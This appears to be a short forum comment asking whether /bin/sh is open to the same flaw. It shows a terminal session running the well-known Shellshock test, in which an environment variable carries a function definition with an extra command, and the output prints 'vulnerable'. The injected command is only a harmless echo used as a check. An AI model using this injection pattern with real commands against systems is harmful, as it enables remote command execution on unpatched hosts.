Isn't /bin/sh vulnerable to the same thing? At least it seems for me:
sh-3.2$ env x='() { :;}; echo vulnerable' /bin/sh -c "echo this is a test"
vulnerable
this is a test